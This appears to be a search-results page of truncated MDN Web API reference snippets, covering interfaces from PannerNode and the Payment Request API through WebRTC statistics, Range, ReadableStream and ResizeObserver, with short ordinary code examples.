... the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... syntax var positiony = pannernode.positiony; pannernode.positiony.value = newpositiony; value an audioparam whose value is the y coordinate of the audio source's position, in 3d cartesian coordinates.
...And 2 more matches
PannerNode.positionZ - Web APIs
the positionz property of the pannernode interface specifies the z coordinate of the audio source's position in 3d cartesian coordinates, corresponding to the depth axis (behind-in front of the listener).
... the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... syntax var positionz = pannernode.positionz; pannernode.positionz.value = newpositionz; value an audioparam whose value is the z coordinate of the audio source's position, in 3d cartesian coordinates.
...And 2 more matches
ParentNode.append() - Web APIs
WebAPIParentNodeappend
parentnode.append() can append several nodes and strings, whereas node.appendchild() can only append one node.
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy.
... let parent = document.createelement("div") with(parent) { append("foo") } // referenceerror: append is not defined polyfill you can polyfill the append() method in internet explorer 9 and higher with the following code: // source: https://github.com/jserz/js_piece/blob/master/dom/parentnode/append()/append().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('append')) { return; } object.defineproperty(item, 'append', { configurable: true, enumerable: true, writa...
...And 2 more matches
ParentNode.prepend() - Web APIs
each node can be specified as either a node object or as a string; strings are inserted as new text nodes.
... exceptions hierarchyrequesterror: node cannot be inserted at the specified point in the hierarchy.
... var parent = document.createelement("div"); with(parent) { prepend("foo"); } // referenceerror: prepend is not defined polyfill you can polyfill the prepend() method if it's not available: // source: https://github.com/jserz/js_piece/blob/master/dom/parentnode/prepend()/prepend().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('prepend')) { return; } object.defineproperty(item, 'prepend', { configurable: true, enumerable: true, writable: true, value: functio...
...And 2 more matches
Path2D.addPath() - Web APIs
WebAPIPath2DaddPath
the path2d.addpath() method of the canvas 2d api adds one path2d object to another path2d object.
...(technically a dommatrixinit object).
... html <canvas id="canvas"></canvas> javascript first, we create two separate path2d objects, each of which contains a rectangle made using the rect() method.
...And 2 more matches
PaymentAddress.country - Web APIs
the string is always in its canonical upper-case form.
... syntax var paymentcountry = paymentaddress.country; value a domstring which contains the iso3166-1 alpha-2 code identifying the country in which the address is located, or an empty string if no country is available, which frequently can be assumed to mean "same country as the site owner." usage notes if the payment handler validates the address and determines that the value of country is invalid, a call to paymentrequestupdateevent.updatewith() will be made with a details object containing a shippingaddresserrors field.
... that field contains an addresserrors-compliant object whose country property is a string indicating the validation error that occurred and, if possible, suggests how to fix it.
...And 2 more matches
PaymentAddress.region - Web APIs
the read-only region property of the paymentaddress interface returns a string containing the top-level administrative subdivision of the country in which the address is located.
... syntax var paymentregion = paymentaddress.region; value a domstring specifying the top-level administrative subdivision within the country in which the address is located.
...in such cases, the browser returns an empty string as the value of region.
...And 2 more matches
PaymentDetailsBase - Web APIs
for example, you can use one to adjust the total payment amount based on the selected payment method ("5% cash discount!").
... paymentdetailsinit provides payment information when calling the paymentrequest() constructor.
...this can be delivered to the payment interface using either paymentdetailsupdateevent.updatewith() or by returning it from the optional detailsupdate promise provided to the paymentrequest.show() call that begins the user interaction.
...And 2 more matches
PaymentMethodChangeEvent.methodName - Web APIs
example this example uses the paymentmethodchange event to watch for changes to the payment method selected for apple pay, in order to compute a discount if the user chooses to use a visa card as their payment method.
... request.onpaymentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "visa": // do apple pay specific handling for visa card...
... // methoddetails contains the card information const result = calculatediscount(ev.methoddetails); object.assign(newstuff, result); break; } } // finally...
...And 2 more matches
PaymentRequest.onmerchantvalidation - Web APIs
the paymentrequest event handler onmerchantvalidation is invoked when the merchantvalidation is fired, indicating that the payment handler (e.g., apple pay) requires the merchant to validate themselves.
... syntax paymentrequest.onmerchantvalidation = eventhandlerfunction; value an event handler function which is to be called whenever the merchantvalidation event is fired at the paymentrequest, indicating that the payment handler requires the merchant to validate themselves as allowed to use this payment handler.
... examples an example merchant validation handler for the paymentrequest object request looks like this: request.onmerchantvalidation = ev => { ev.complete(async () => { const merchantserverurl = window.location.origin + '/validation?url=' + encodeuricomponent(ev.validationurl); // get validation data, and complete validation; return await fetch(merchantserverurl).then(r => r.text()); }) }; const response = await request.show(); for more information, see merchant validation in payment processing concepts.
...And 2 more matches
PaymentRequest.shippingAddress - Web APIs
you can trigger this by setting paymentoptions.requestshipping to true when calling the paymentrequest constructor.
...when the paymentrequest.onshippingaddresschange is called, updatedetails() is called to update the details of the paymentrequest, using shippingaddress to set the correct shipping cost.
...}).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingaddress, resolve) { if (shippingaddress.country === 'us') { var shippingoption = { id: '', label: '', amount: {currency: 'usd', value: '0.00'}, selected: true }; if (shippingaddress.region === 'mo') { shippingoption.id = 'mo';...
...And 2 more matches
PaymentRequest.shippingOption - Web APIs
this attribute is only populated if the constructor is called with the requestshipping flag set to true.
...in each calls to updatedetails() are made, one using a promise, and the other with a plain js object.
...new paymentrequest(methoddata, details, options); // async update to details request.onshippingaddresschange = ev => { ev.updatewith(checkshipping(request)); }; // sync update to the total request.onshippingoptionchange = ev => { const shippingoption = shippingoptions.find( option => option.id === request.id ); const newtotal = { currency: "usd", label: "total due", value: calculatenewtotal(shippingoption), }; ev.updatewith({ ...details, total: newtotal }); }; async function checkshipping(request) { try { const json = request.shippingaddress.tojson(); await ensurecanshipto(json); const { shippingoptions, total } = await calculateshipping(json); return { ...details, shippingoptions, total }; } catch (err) { return { ...details, error: `sor...
...And 2 more matches
PaymentRequest: shippingaddresschange event - Web APIs
bubbles no cancelable no interface paymentrequestupdateevent event handler property onshippingaddresschange usage notes depending on the browser, the shipping address information may be redacted for privacy reasons.
... example in this example, a handler for the shippingaddresschange event is set up to validate that the address meets requirements set by the web application.
... return detailsupdate; }; you can also establish a handler for shippingaddresschange using the onshippingaddresschange event handler property: paymentrequest.onshippingaddresschange = event => { let detailsupdate = checkaddress(paymentrequest.shippingaddress); event.updatewith(detailsupdate); }; specifications specification status comment payment request apithe definition of 'shippingaddresschange'...
...And 2 more matches
PaymentRequestUpdateEvent.updateWith() - Web APIs
when calling updatewith(), including error in the updated data causes the user agent to display the text as a general error message.
...for example, you can use one to adjust the total payment amount based on the selected payment method ("5% cash discount!").
...this is not calculated automatically.
...And 2 more matches
PaymentResponse: payerdetailchange event - Web APIs
if any are invalid, appropriate error messages should be configured and the retry() method should be called on the paymentresponse to ask the user to update the invalid entries.
... bubbles no cancelable no interface paymentrequestupdateevent event handler property onpayerdetailchange examples in the example below, onpayerdetailchange is used to set up a listener for the payerdetailchange event in order to validate the information entered by the user, requesting that any mistakes be corrected // options for paymentrequest(), indicating that shipping address, // payer email address, name, and phone number all be collected.
... response.onpayerdetailchange = async ev => { const promisestovalidate = []; const { payername, payeremail, payerphone } = response; // validate each value which changed by calling a function // that validates each type of data, returning a promise which // resolves if the data is valid.
...And 2 more matches
Performance.onresourcetimingbufferfull - Web APIs
the onresourcetimingbufferfull property is an event handler that will be called when the resourcetimingbufferfull event is fired.
... syntax callback = performance.onresourcetimingbufferfull = buffer_full_cb; return value callback an eventhandler that is invoked when the resourcetimingbufferfull event is fired.
... examples the following example sets a callback function on the onresourcetimingbufferfull property.
...And 2 more matches
PerformanceFrameTiming - Web APIs
an application can register a performanceobserver for "frame" performance entry types and the observer can retrieve data about the duration of each frame event.
... this information can be used to help identify areas that take too long to provide a good user experience.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceframetiming" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceframetiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the follo...
...And 2 more matches
PerformanceNavigation - Web APIs
this interface is deprecated in the navigation timing level 2 specification.
... an object of this type can be obtained by calling the performance.navigation read-only attribute.
... performancenavigation.type read only an unsigned short which indicates how the navigation to this page was done.
...And 2 more matches
PerformanceNavigationTiming - Web APIs
for example, this interface can be used to determine how much time it takes to load or unload a document.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/w...
... performancenavigationtiming.requeststart read only a domhighrestimestamp representing the time immediately before the user agent starts requesting the resource from the server, or from relevant application caches or from local resources.
...And 2 more matches
PerformanceObserverEntryList.getEntries() - Web APIs
the list's members are determined by the set of entry types specified in the call to the observe() method.
... the list is available in the observer's callback function (as the first parameter in the callback).
...the items will be in chronological order based on the entries' starttime.
...And 2 more matches
PerformanceObserverEntryList.getEntriesByName() - Web APIs
the list's members are determined by the set of entry types specified in the call to the observe() method.
... the list is available in the observer's callback function (as the first parameter in the callback).
...the items will be in chronological order based on the entries' starttime.
...And 2 more matches
PerformanceObserverEntryList.getEntriesByType() - Web APIs
the list's members are determined by the set of entry types specified in the call to the observe() method.
... the list is available in the observer's callback function (as the first parameter in the callback).
...the items will be in chronological order based on the entries' starttime.
...And 2 more matches
PerformanceTiming.domInteractive - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... this property can be used to measure the speed of loading web sites that users feels.
... nevertheless there are a few caveats that happens if scripts are blocking rendering and not loaded asynchronously or with custom web fonts.
...And 2 more matches
Permissions - Web APIs
example navigator.permissions.query({name:'geolocation'}).then(function(result) { if (result.state === 'granted') { showlocalnewswithgeolocation(); } else if (result.state === 'prompt') { showbuttontoenablelocalnews(); } // don't do anything if the permission was denied.
... }); specification specification status comment permissionsthe definition of 'permissions' in that specification.
... safari ios no support nosamsung internet android full support 8.0camera permissionchrome full support 64edge full support 79firefox ?
...And 2 more matches
Point - Web APIs
WebAPIPoint
point is an interface, which existed only briefly in the css transforms level 1 specification, which represents a point in 2-dimensional space.
... although it is not directly related to this defunct interface, you are probably looking for dompoint, which is part of the geometry interfaces module level 1 specification.
... y a floating-point value specifying the point's position with respect to the y (vertical) axis.
...And 2 more matches
PointerEvent.pressure - Web APIs
the pressure read-only property of the pointerevent interface indicates the normalized pressure of the pointer input.
... syntax var pressure = pointerevent.pressure; return value pressure the normalized pressure of the pointer input in the range of 0 to 1, inclusive, where 0 and 1 represent the minimum and maximum pressure the hardware is capable of detecting, respectively.
... example in this snippet, when a pointerdown event is fired, different functions are called depending on the value of the event's pressure property.
...And 2 more matches
ProcessingInstruction - Web APIs
the processinginstruction interface represents a processing instruction; that is, a node which embeds an instruction targeting a specific application but that can be ignored by any other applications which don't recognize the instruction.
... user-defined processing instructions cannot begin with "xml", as xml-prefixed processing-instruction target names are reserved by the xml specification for particular, standard uses (see, for example, <?xml-stylesheet ?>).
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 10%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 700 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2...
...And 2 more matches
ProgressEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="midd...
... progressevent.lengthcomputable read only is a boolean flag indicating if the total work to be done, and the amount of work already done, by the underlying process is calculable.
...the ratio of work done can be calculated with the property and progressevent.total.
...And 2 more matches
PromiseRejectionEvent.promise - Web APIs
the promiserejectionevent interface's promise read-only property indicates the javascript promise which was rejected.
... you can examine the event's promiserejectionevent.reason property to learn why the promise was rejected.
... examples this example listens for unhandled promises and, if the reason is an object with a code field containing the text "module not ready", it sets up an idle callback that will retry the task that failed to execute correctly.
...And 2 more matches
PublicKeyCredential.response - Web APIs
the response read-only property of the publickeycredential interface is an authenticatorresponse object which is sent from the authenticator to the user agent for the creation/fetching of credentials.
... an authenticatorresponse is either: an authenticatorattestationresponse (when the publickeycredential is created via credentialscontainer.create()) an authenticatorassertionresponse (when the publickeycredential is obtained via credentialscontainer.get()).
... syntax response = publickeycredential.response value an authenticatorresponse object containing the data a relying party's script will receive and which should be sent to the relying party's server in order to validate the demand for creation or fetching.
...And 2 more matches
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
allowcredentials is an optional property of the publickeycredentialrequestoptions dictionary which indicates the existing credentials acceptable for retrieval.
... transports optional an array of strings describing the possible transports between the client and the authenticator.
... the value of the strings may be: "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed).
...And 2 more matches
PushManager.unregister() - Web APIs
in the updated api, a subscription is can be unregistered via the pushsubscription.unsubscribe() method.
... return a domrequest object to handle the success or failure of the method call.
... if the method call is successful, the request's result will be a pushregistration object representing the endpoint that has been unregistered.
...And 2 more matches
RTCDTMFSender.insertDTMF() - Web APIs
as long as the connection is active, you can send tones at any time.
... calling insertdtmf() will append the specified tones to the end of the current tone buffer, so that those tones play after the previously-enqueued tones.
... return value undefined exceptions invalidstateerror the dtmf tones couldn't be sent because the track has been stopped, or is in a read-only or inactive state.
...And 2 more matches
RTCDTMFSender: tonechange event - Web APIs
the tonechange event is sent to an rtcdtmfsender by the webrtc api to indicate when dtmf tones previously queued for sending (by calling rtcdtmfsender.insertdtmf()) begin and end.
... bubbles no cancelable no interface rtcdtmftonechangeevent event handler property ontonechange to determine what tone started playing, or if a tone stopped playing, check the value of the event's tone property.
... this can be done using addeventlistener(): dtmfsender.addeventlistener("tonechange", ev => { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;"; } document.getelementbyid("playingtone").innertext = tone; }, false); you can also just set the ontonechange event handler property directly: dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication ...
...And 2 more matches
RTCDataChannel.bufferedAmount - Web APIs
the queue may build up as a result of calls to the send() method.
... the user agent may implement the process of actually sending data in any way it chooses; this may be done periodically during the event loop or truly asynchronously.
... example the snippet below includes a function which changes the contents of a block with the id "buffersize" to a string indicating the number of bytes currently buffered on an rtcdatachannel.
...And 2 more matches
RTCDataChannel.bufferedAmountLowThreshold - Web APIs
when the number of buffered outgoing bytes, as indicated by the bufferedamount property, falls to or below this value, a bufferedamountlow event is fired.
... the user agent may implement the process of actually sending data in any way it chooses; this may be done periodically during the event loop or truly asynchronously.
....bufferedamountlowthreshold = threshold; value the number of queued outgoing data bytes below which the buffer is considered to be "low." example in this snippet of code, bufferedamountlowthreshold is set to 64kb, and a handler for the bufferedamountlow event is established by setting the rtcdatachannel.onbufferedamountlow property to a function which should send more data into the buffer by calling send().
...And 2 more matches
RTCDataChannel: close event - Web APIs
before any further data can be transferred using rtcdatachannel, a new data channel instance must be created.
... bubbles no cancelable no interface event event handler property rtcdatachannel.onclose examples this example sets up a handler for the close event for the rtcdatachannel named dc; its responsibility in this example is to update user interface elements to reflect that there is no longer an ongoing call, and to allow a new call to be started.
... dc.addeventlistener("close", ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; }, false); all this code does in response to receiving the close event is to disable an input box and its "send" button, and to enable the button used to start a call (while disabling the one that ends a call).
...And 2 more matches
RTCDataChannel.id - Web APIs
WebAPIRTCDataChannelid
each rtcpeerconnection can therefore have up to a theoretical maximum of 65,534 data channels on it, although the actual maximum may vary from browser to browser.
... in early versions of the webrtc specification, this property's name was stream.
... this can be also useful for logging and debugging purposes.
...And 2 more matches
RTCDataChannel.maxRetransmits - Web APIs
the read-only rtcdatachannel property maxretransmits returns the maximum number of times the browser should try to retransmit a message before giving up, as set when the data channel was created, or null, which indicates that there is no maximum.
... this can only be set when the rtcdatachannel is created by calling rtcpeerconnection.createdatachannel(), using the maxretransmits field in the specified options.
... syntax var tries = adatachannel.maxretransmits; value the maximum number of times the browser will try to retransmit a message before giving up, or null if not set when rtcpeerconnection.createdatachannel() was called.
...And 2 more matches
RTCDataChannel.onbufferedamountlow - Web APIs
the rtcdatachannel.onbufferedamountlow property is an eventhandler which specifies a function the browser calls when the bufferedamountlow event is sent to the rtcdatachannel.
... syntax rtcdatachannel.onbufferedamountlow = function; value a function which the browser will call to handle the bufferedamountlow event.
... example this example responds to the bufferedamountlow event by fetching up to 64kb of a file represented by an object source and calling rtcdatachannel.send() to queue up the retrieved data for sending on the data channel.
...And 2 more matches
RTCDataChannelEvent() - Web APIs
indicates if the event must bubble or not.
... "cancelable", optional, inherited from eventinit.
... indicates if the event can be canceled or not.
...And 2 more matches
RTCDtlsTransport.state - Web APIs
closed the transport has been closed intentionally as the result of receipt of a close_notify alert, or calling rtcpeerconnection.close().
...the function returns an object containing properties whose values indicate how many of the senders are in each state.
...*/ function tallysenders(pc) { let results = { transportmissing: 0, connectionpending: 0, connected: 0, closed: 0, failed: 0, unknown: 0 }; let senderlist = pc.getsenders(); senderlist.foreach(sender => { let transport = sender.transport; if (!transport) { results.transportmissing++; } else { switch(transport.state) { case "new": case "connecting": results.connectionpending++; break; case "connected": results.connected++; break; case "closed": results.closed++; break; case "failed": results.failed++; break; default: results.unknown++; break; } } }); return results; ...
...And 2 more matches
RTCIceComponent - Web APIs
these strings are mapped to corresponding numeric values as they appear in the candidate a-line in sdp.
...an rtcicecomponent of this value corresponds to the component id field in the candidate a-line with the value 1.
... usage notes the rtcicecomponent type is used by the component property of rtcicecandidate and rtcicetransport objects.
...And 2 more matches
RTCInboundRtpStreamStats.averageRtcpInterval - Web APIs
the averagertcpinterval property of the rtcinboundrtpstreamstats dictionary is a floating-point value indicating the average rtcp transmission interval, in seconds.
... syntax var averagertcpinterval = rtcinboundrtpstreamstats.averagertcpinterval; value a floating-point value indicating the average interval, in seconds, between transmissions of rtcp packets.
... because the interval's value is determined in part by the number of active senders, it will be different for each user of a service.
...And 2 more matches
RTCInboundRtpStreamStats.bytesReceived - Web APIs
the rtcinboundrtpstreamstats dictionary's bytesreceived property is an integer value which indicates the total number of bytes received so far from this synchronization source (ssrc).
... syntax var bytesreceived = rtcinboundrtpstreamstats.bytesreceived; value an unsigned integer value indicating the total number of bytes received so far on this rtp stream, not including header and padding bytes.
... this value can be used to calculate an approximation of the average media data rate: avgdatarate = rtcinboundrtpstreamstats.bytesreceived / elapsedtime; this value gets reset to zero if the sender's ssrc identifier changes for any reason.
...And 2 more matches
RTCInboundRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcinboundrtpstreamstats dictionary is a numeric value indicating the number of times the receiver sent a nack packet to the sender.
... a nack (negative acknowledgement, also called "generic nack") packet tells the sender that one or more of the rtp packets it sent were lost in transport.
... syntax var nackcount = rtcinboundrtpstreamstats.nackcount; value an integer value indicating how many times the receiver sent a nack packet to the sender after detecting that one or more packets were lost during transport.
...And 2 more matches
RTCInboundRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcinboundrtpstreamstats dictionary states the number of times the rtcrtpreceiver described by these statistics sent a picture loss indication (pli) packet to the sender.
... a pli packet indicates that some amount of encoded video data has been lost for one or more frames.
... syntax var plicount = rtcinboundrtpstreamstats.plicount; value an integer value indicating the number of times a pli packet was sent by the rtcrtpreceiver to the sender.
...And 2 more matches
RTCNetworkType - Web APIs
this type is used as the value or the following properties: rtcicecandidate's networktype rtcstunserverconnectionstats's networktype values bluetooth a bluetooth connection is used by the described connection.
...this may be because the browser isn't able to determine the network type for some reason or it may be intentionally getting obscured for security reasons, such as to avoid device fingerprinting.
... note: keep in mind that the specified value only reflects the initial connection between the local peer and the next hop along the network toward reaching the remote peer.
...And 2 more matches
RTCOfferAnswerOptions - Web APIs
it's used as the base type for the options parameter when calling createoffer() or createanswer() on an rtcpeerconnection.
...createoffer() uses rtcofferoptions and createanswer() uses rtcansweroptions.
... properties voiceactivitydetection optional for configurations of systems and codecs that are able to detect when the user is speaking and toggle muting on and off automatically, this option enables and disables that behavior.
...And 2 more matches
RTCOutboundRtpStreamStats.averageRtcpInterval - Web APIs
the averagertcpinterval property of the rtcoutboundrtpstreamstats dictionary is a floating-point value indicating the average time that should pass between transmissions of rtcp packets on this stream.
... syntax var averagertcpinterval = rtcoutboundrtpstreamstats.averagertcpinterval; value a floating-point value indicating the average interval, in seconds, between transmissions of rtcp packets.
... because the interval's value is determined in part by the number of active senders, it will be different for each user of a service.
...And 2 more matches
RTCOutboundRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcoutboundrtpstreamstats dictionary is a numeric value indicating the number of times the rtcrtpsender described by this object received a nack packet from the remote receiver.
... a nack (negative acknowledgement, also called "generic nack") packet is used by the rtcrtpreceiver to inform the sender that one or more rtp packets it sent were lost in transport.
... syntax var nackcount = rtcoutboundrtpstreamstats.nackcount; value an integer value indicating how many times the sender received a nack packet from the receiver, indicating the loss of one or more packets.
...And 2 more matches
RTCOutboundRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcoutboundrtpstreamstats dictionary states the number of times the remote peer's rtcrtpreceiver sent a picture loss indication (pli) packet to the rtcrtpsender for which this object provides statistics.
... a pli packet indicates that some amount of encoded video data has been lost for one or more frames.
... syntax var plicount = rtcoutboundrtpstreamstats.plicount; value an integer value indicating the number of times a pli packet was sent to this sender by the remote peer's rtcrtpreceiver.
...And 2 more matches
RTCPeerConnection.currentRemoteDescription - Web APIs
also included is a list of any ice candidates that may already have been generated by the ice agent since the offer or answer represented by the description was first instantiated.
... to change the currentremotedescription, call rtcpeerconnection.setremotedescription(), which triggers a series of events which leads to this value being set.
... unlike rtcpeerconnection.remotedescription, this value represents the actual current state of the local end of the connection; remotedescription may specify a description which the connection is currently in the process of switching over to.
...And 2 more matches
RTCPeerConnection.onconnectionstatechange - Web APIs
the rtcpeerconnection.onconnectionstatechange property specifies an eventhandler which is called to handle the connectionstatechange event when it occurs on an instance of rtcpeerconnection.
... syntax rtcpeerconnection.onconnectionstatechange = eventhandler; value a function which is called by the browser when the connectionstatechange event occurs on the rtcpeerconnection.
...the event object contains no special information of note; you can look at the value of the peer connection's connectionstate property to determine what the new state is.
...And 2 more matches
RTCPeerConnection.ondatachannel - Web APIs
the rtcpeerconnection.ondatachannel property is an eventhandler which specifies a function which is called when the datachannel event occurs on an rtcpeerconnection.
... this event, of type rtcdatachannelevent, is sent when an rtcdatachannel is added to the connection by the remote peer calling createdatachannel().
... at the time this event is received, the rtcdatachannel it indicates may not yet actually be open.
...And 2 more matches
RTCPeerConnection: peeridentity event - Web APIs
the new identiy can be access using the rtcpeerconnection.peeridentity property.
... an event handler for this event can be added via the rtcpeerconnection.onpeeridentity property.
... bubbles no cancelable no interface event event handler property onpeeridentity important: this event and its event handler have been removed from the specification and are no longer available.
...And 2 more matches
RTCRtpCodecParameters - Web APIs
in addition to being the type of the rtcrtpparameters.codecs property, it's used when calling rtcrtptransceiver.setcodecpreferences() to configure a transceiver's codecs before beginning the offer/answer process to establish a webrtc peer connection.
... channels optional an unsigned short integer indicating the number of channels the codec should support.
... for example, for audio codecs, a value of 1 specifies monaural sound while 2 indicates stereo.
...And 2 more matches
RTCRtpSendParameters - Web APIs
the webrtc api's rtcrtpsendparameters dictionary is used to specify the parameters for an rtcrtpsender when calling its setparameters() method.
... priority a string from the rtcprioritytype enumerated type which indicates the encoding's priority.
... transactionid a string containing a unique id for the last set of parameters applied; this value is used to ensure that setparameters() can only be called to alter changes made by a specific previous call to getparameters().
...And 2 more matches
RTCRtpStreamStats.kind - Web APIs
the kind property of the rtcrtpstreamstats dictionary is a string indicating whether the described rtp stream contains audio or video media.
... this property was previously called mediatype.
... the name was changed in the specification in february, 2018.
...And 2 more matches
RTCRtpSynchronizationSource - Web APIs
while the published specification describes this as an interface, it has since been changed to a dictionary in follow-up drafts.
... voiceactivityflag optional a boolean value indicating whether or not voice activity is included in the last rtp packet played from the source.
... if the peer has indicated that it's not supporting voice activity detection, this field is not provided.
...And 2 more matches
RTCRtpTransceiver.stopped - Web APIs
the read-only stopped property on the rtcrtptransceiver interface indicates whether or not the transceiver's associated sender and receiver have both been stopped.
... the transceiver is stopped if the stop() method has been called or if a change to either the local or the remote description has caused the transceiver to be stopped for some reason.
... usage notes this property is deprecated and will be removed in the future.
...And 2 more matches
RTCStats.timestamp - Web APIs
for reports related to rtcp packets, for instance, this indicates the time at which the data covered by the statistics was received at the corresponding endpoint.
... syntax var timestamp = rtcstats.timestamp; value a domhighrestimestamp value indicating the time at which the activity described by the statistics in this object was recorded, in milliseconds elapsed since the beginning of january 1, 1970, utc.
... this should be accurate to within a few milliseconds but may not be entirely pricise, either because of hardware or operating system limitations or because of fingerprinting protection in the form of reduced clock precision or accuracy.
...And 2 more matches
Range.cloneContents() - Web APIs
html attribute events are duplicated as they are for the dom core clonenode method.
... html id attributes are also cloned, which can lead to an invalid document through cloning.
... syntax documentfragment = range.clonecontents(); example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); documentfragment = range.clonecontents(); document.body.appendchild(documentfragment); specifications specification status comment domthe definition of 'range.clonecontents()' in that specification.
...And 2 more matches
Range.extractContents() - Web APIs
html attribute events are retained or duplicated as they are for the node.clonenode() method.
... html id attributes are also cloned, which can lead to an invalid document if a partially-selected node is extracted and appended to the document.
...e.commonancestorcontainer.parentnode === list1) { const documentfragment = range.extractcontents(); list2.appendchild(documentfragment); } else if (range.commonancestorcontainer === list2 || range.commonancestorcontainer.parentnode === list2) { const documentfragment = range.extractcontents(); list1.appendchild(documentfragment); } } }); result specifications specification status comment domthe definition of 'range.extractcontents()' in that specification.
...And 2 more matches
Range.setEnd() - Web APIs
WebAPIRangesetEnd
the range.setend() method sets the end position of a range to be located at the given offset into the specified node x.setting the end point above (higher in the document) than the start point will result in a collapsed range with the start and end points both set to the specified end position.
... exceptions exceptions are thrown as domexception objects of the following types: invalidnodetypeerror the node specified by endnode is a doctype node; range endpoints cannot be located inside a doctype node.
... specifications specification status comment domthe definition of 'range.setend()' in that specification.
...And 2 more matches
ReadableStream.getReader() - Web APIs
while the stream is locked, no other reader can be acquired until this one is released.
... values can be: "byob", which results in a readablestreambyobreader being created that can read readable byte streams (i.e.
... can handle "bring your own buffer" reading).
...And 2 more matches
RelativeOrientationSensor.RelativeOrientationSensor() - Web APIs
the relativeorientationsensor constructor creates a new relativeorientationsensor object which describes the device's physical orientation.
... if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... syntax var relativeorientationsensor = new relativeorientationsensor([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
...And 2 more matches
ReportingObserver() - Web APIs
the reportingobserver() constructor of the reporting api creates a new reportingobserver object instance, which can be used to collect and access reports.
... syntax new reportingobserver(callback[, options]); parameters callback a callback function that runs when the observer starts to collect reports (i.e.
...the callback function is given two parameters: reports: a sequence of report objects representing the reports collected in the observer's report queue.
...And 2 more matches
Request.credentials - Web APIs
the credentials read-only property of the request interface indicates whether the user agent should send cookies from the other domain in the case of cross-origin requests.
... syntax var mycred = request.credentials; value a requestcredentials dictionary value indicating whether the user agent should send cookies from the other domain in the case of cross-origin requests.
... same-origin: send user credentials (cookies, basic http auth, etc..) if the url is on the same origin as the calling script.
...And 2 more matches
ResizeObserverEntry.contentBoxSize - Web APIs
the contentboxsize read-only property of the resizeobserverentry interface returns an array containing the new content box size of the observed element when the callback is run.
...for boxes with a horizontal writing-mode, this is the vertical dimension, or height; if the writing-mode is vertical, this is the horizontal dimension, or width.
...for boxes with a horizontal writing-mode, this is the horizontal dimension, or width; if the writing-mode is vertical, this is the vertical dimension, or height.
...And 2 more matches
Response.redirected - Web APIs
the read-only redirected property of the response interface indicates whether or not the response is the result of a request you made which was redirected.
...instead, you should actually instead do the filtering when you call fetch().
... syntax var isredirected = response.redirected; value a boolean which is true if the response indicates that your request was redirected.
...And 2 more matches
SVGAnimationElement: beginEvent event - Web APIs
the beginevent event of the svganimationelement interface is fired when the element local timeline begins to play.
...scheduled or interactive) timeline play, as well as in the case that the element was begun with a dom method.
